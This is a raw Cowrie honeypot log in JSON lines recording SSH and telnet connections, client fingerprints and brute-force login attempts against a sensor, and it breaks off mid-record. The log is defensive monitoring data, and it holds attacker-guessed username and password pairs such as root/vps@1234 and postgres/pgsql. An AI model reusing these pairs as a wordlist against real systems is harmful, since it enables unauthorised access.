{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:42:18.930641Z","src_ip":"118.193.33.42","session":"524ecd5fb421","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.9","message":"Connection lost after 6.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:42:19.154732Z","src_ip":"118.193.33.42","session":"0728c996651b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:42:19.173005Z","src_ip":"118.193.33.42","session":"524ecd5fb421","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":39144,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffddd7cf424c","protocol":"ssh","message":"New connection: 45.148.10.121:39144 (159.203.135.109:22) [session: ffddd7cf424c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:42:33.105274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:42:33.110433Z","src_ip":"45.148.10.121","session":"ffddd7cf424c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:42:33.191219Z","src_ip":"45.148.10.121","session":"ffddd7cf424c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.42","src_port":32570,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3a539b20938","protocol":"ssh","message":"New connection: 118.193.33.42:32570 (159.203.135.109:22) [session: c3a539b20938]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:43:18.210078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:43:18.220136Z","src_ip":"118.193.33.42","session":"c3a539b20938","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:43:18.458774Z","src_ip":"118.193.33.42","session":"c3a539b20938","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"AaBbCc123","message":"login attempt [ubuntu/AaBbCc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:43:19.375947Z","src_ip":"118.193.33.42","session":"c3a539b20938","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:43:20.606107Z","src_ip":"118.193.33.42","session":"c3a539b20938","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.42","src_port":50390,"dst_ip":"159.203.135.109","dst_port":22,"session":"66beb7ff373b","protocol":"ssh","message":"New connection: 118.193.33.42:50390 (159.203.135.109:22) [session: 66beb7ff373b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:44:24.855219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:44:24.859915Z","src_ip":"118.193.33.42","session":"66beb7ff373b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:44:25.102063Z","src_ip":"118.193.33.42","session":"66beb7ff373b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testftp","password":"123456789","message":"login attempt [testftp/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:44:26.031130Z","src_ip":"118.193.33.42","session":"66beb7ff373b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:44:27.280329Z","src_ip":"118.193.33.42","session":"66beb7ff373b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.244.206.148","src_port":46064,"dst_ip":"10.17.0.5","dst_port":22,"session":"c65875ebe4f7","protocol":"ssh","message":"New connection: 152.244.206.148:46064 (10.17.0.5:22) [session: c65875ebe4f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:45:28.877817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:45:28.882809Z","src_ip":"152.244.206.148","session":"c65875ebe4f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:45:29.021901Z","src_ip":"152.244.206.148","session":"c65875ebe4f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz-pl,","message":"login attempt [root/1qaz-pl,] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:45:29.616223Z","src_ip":"152.244.206.148","session":"c65875ebe4f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:45:30.757804Z","src_ip":"152.244.206.148","session":"c65875ebe4f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.42","src_port":13216,"dst_ip":"159.203.135.109","dst_port":22,"session":"24252b1a9fcc","protocol":"ssh","message":"New connection: 118.193.33.42:13216 (159.203.135.109:22) [session: 24252b1a9fcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:45:36.983567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:45:36.990465Z","src_ip":"118.193.33.42","session":"24252b1a9fcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:45:37.224496Z","src_ip":"118.193.33.42","session":"24252b1a9fcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vps@1234","message":"login attempt [root/vps@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:45:38.129876Z","src_ip":"118.193.33.42","session":"24252b1a9fcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:45:39.351594Z","src_ip":"118.193.33.42","session":"24252b1a9fcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.42","src_port":31052,"dst_ip":"159.203.135.109","dst_port":22,"session":"f697e537d357","protocol":"ssh","message":"New connection: 118.193.33.42:31052 (159.203.135.109:22) [session: f697e537d357]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:46:52.787396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:46:52.805403Z","src_ip":"118.193.33.42","session":"f697e537d357","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:46:53.016053Z","src_ip":"118.193.33.42","session":"f697e537d357","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"pgsql","message":"login attempt [postgres/pgsql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:46:53.892589Z","src_ip":"118.193.33.42","session":"f697e537d357","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:46:55.750950Z","src_ip":"118.193.33.42","session":"f697e537d357","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.218.206.68","src_port":51716,"dst_ip":"10.17.0.5","dst_port":23,"session":"797dd370cce5","protocol":"telnet","message":"New connection: 216.218.206.68:51716 (10.17.0.5:23) [session: 797dd370cce5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:47:21.001431Z"}
{"eventid":"cowrie.session.closed","duration":2.0873184204101562,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:47:23.088615Z","src_ip":"216.218.206.68","session":"797dd370cce5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.42","src_port":48886,"dst_ip":"159.203.135.109","dst_port":22,"session":"9407bd2d60d2","protocol":"ssh","message":"New connection: 118.193.33.42:48886 (159.203.135.109:22) [session: 9407bd2d60d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:48:08.872995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:48:08.882171Z","src_ip":"118.193.33.42","session":"9407bd2d60d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:48:09.095740Z","src_ip":"118.193.33.42","session":"9407bd2d60d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passadmin","message":"login attempt [root/passadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:48:09.991525Z","src_ip":"118.193.33.42","session":"9407bd2d60d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:48:11.214947Z","src_ip":"118.193.33.42","session":"9407bd2d60d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.208.13","src_port":53514,"dst_ip":"159.203.135.109","dst_port":22,"session":"21f5050ba068","protocol":"ssh","message":"New connection: 103.189.208.13:53514 (159.203.135.109:22) [session: 21f5050ba068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:48:15.016550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:48:15.116622Z","src_ip":"103.189.208.13","session":"21f5050ba068","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:48:15.359877Z","src_ip":"103.189.208.13","session":"21f5050ba068","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"qwer1234","message":"login attempt [deploy/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:48:16.337441Z","src_ip":"103.189.208.13","session":"21f5050ba068","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:48:17.588243Z","src_ip":"103.189.208.13","session":"21f5050ba068","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.244.206.148","src_port":49022,"dst_ip":"10.17.0.5","dst_port":22,"session":"52ce621bb790","protocol":"ssh","message":"New connection: 152.244.206.148:49022 (10.17.0.5:22) [session: 52ce621bb790]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:49:09.113990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:49:09.118359Z","src_ip":"152.244.206.148","session":"52ce621bb790","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 